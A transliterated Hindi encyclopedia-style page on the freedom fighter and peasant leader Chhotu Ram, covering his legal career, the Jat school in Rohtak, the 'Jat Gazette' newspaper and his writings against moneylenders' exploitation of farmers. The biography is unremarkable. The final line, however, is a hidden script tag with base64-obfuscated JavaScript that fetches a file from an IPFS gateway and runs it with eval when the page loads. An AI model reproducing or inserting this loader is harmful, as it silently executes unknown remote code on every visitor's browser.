छोटूराम के सामाजिक कार्य
chhotooram ke samajik kary
| |
| poora nam | ray richhapal (mool nam) |
| janm | 24 navambar, 1881 |
| janm bhoomi | rohatak |
| mrityu | 9 janavari, 1945 |
| mrityu sthan | lahaur |
| abhibhavak | pita- sukhiram |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani tatha rajanitijn |
| parti | yooniyanist parti |
| vishesh | chaudhari chhotooram ki lekhani ag ugalati thi. 'thag bajar ki sair' aur 'bechara kisan' ke lekhoan mean se 17 lekh 'jat gajat' mean chhape the. |
| any janakari | agast, 1920 mean chhotooram ne kaangres chho d di thi, kyoanki ve gaandhi ji ke asahayog aandolan se sahamat nahian the. unaka vichar tha ki is aandolan se kisanoan ka hit nahian hoga. unaka mat tha ki azadi ki l daee sanvaidhanik tarike se l di jaye. |
san 1905 mean chhotooram ji ne kalakaankar ke raja ramapal sianh ke sah-niji sachiv ke roop mean kary kiya aur yahian san 1907 tak aangrezi ke 'hindustan' samachar patr ka sanpadan kiya. yahaan se chhotooram agara mean vakalat ki digri karane a ge. jhajjar zile mean janma yah jujharoo yuva chhatr san 1911 mean agara ke jat chhatravas ka adhikshak bana. 1911 mean unhoanne l aau ki digri prapte ki. yahaan rahakar chhotooram ne merath aur agara divijan ki samajik dasha ka gahan adhyayan kiya. 1912 mean apane chaudhari lalachand ke sath vakalat aranbh kar di aur usi sal jat sabha ka gathan kiya.
samajik kary
pratham vishvayuddh ke samay mean sar chhotooram ne rohatak se 22,144 jat sainik bharti karavaye, jo sare any sainikoan ka adha bhag tha. ab to sar chhotooram ek mahan kraantikari samaj sudharak ke roop mean apana sthan bana chuke the. unhoanne anek shikshan sansthanoan ki sthapana ki, jisamean jat ary-vaidik sanskrit haee skool, rohatak pramukh hai. 1 janavari, 1913 ko jat ary-samaj ne rohatak mean ek vishal sabha ki, jisamean jat skool ki sthapana ka prastav parit kiya, jisake phalasvaroop 7 sitambar, 1913 mean jat skool ki sthapana huee.
jat gajat
vakalat jaise vyavasay mean bhi chaudhari sahab ne ne aitihasik ayam jo de. unhoanne jhoothe mukadame n lena, chhal-kapat se door rahana, gariboan ko niahshulk kanooni salah dena, muvvakiloan ke sath sad vyavahar karana, apane vakalati jivan ka adarsh banaya. inhian siddhantoan ka palan karake keval peshe mean hi nahian, balki jivan ke har pahaloo mean chaudhari sahab bahut ooanche uth gaye the. inhian dinoan 1915 mean chaudhari chhotooram ne 'jat gajat' nam ka kraantikari samachar patr shuroo kiya, jo hariyana ka sabase purana akhabar hai. isake madhyam se chhotooram ji ne gramin janajivan ka utthan aur sahookaroan dvara garib kisanoan ke shoshan par ek saragarbhit darshan diya tha, jis par shodh ki ja sakati hai.
kisanoan ke masiha
chaudhari chhotooram ne kisanoan ko sahi jivan jine ka moolamantr diya. jatoan ka sonipat ki judishiyal baianch mean koee pratinidhi n hona, bahiyoan ka virodh, jinake jariye garib kisanoan ki jaminoan ko giravi rakha jata tha, raj ke sath ju di huee sahookar komoan ka virodh jo kisanoan ki durdasha ke jimmevar the, ke sandarbh mean kisan ke shoshan ke viruddh unhoanne datakar prachar kiya. unake svayan ke shabdoan mean- "kisan kuanbhakarn ki niand so raha hai, maian jagane ki kaushish kar raha hooan. kabhi talave mean gudagudi karata hooan, kabhi muanh par thande pani ke chhiante marata hooan. vah aankheanan kholata hai, karavat leta hai, aang daee leta hai aur phir jamhaee lekar so jata hai. bat yah hai ki kisan se phayada uthane vali jamat ek aisi gais apane pas rakhati hai, jisase turant behoshi paida ho jati hai aur kisan phir so jata hai."
chaudhari sahab age likhate haian- "kisan ko log annadata to kahate haian, lekin yah koee nahian dekhata ki vah ann khata bhi hai ya nahian. jo kamata hai, vah bhookha rahe yah duniya ka sabase b da ashchavary hai. maian raja-navaboan aur hindustan ki sabhi prakar ki sarakaroan ko kahata hooan ki vah kisan ko is kadr tang n karean ki vah uth kh da ho. is bholanath ko itana tang n karo ki vah taandav nrity kar baithe. doosare log jab sarakar se naraj hote haian to kanoon to date haian, kisan jab naraj hoga to kanoon hi nahian to dega, sarakar ki pith bhi to dega."
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>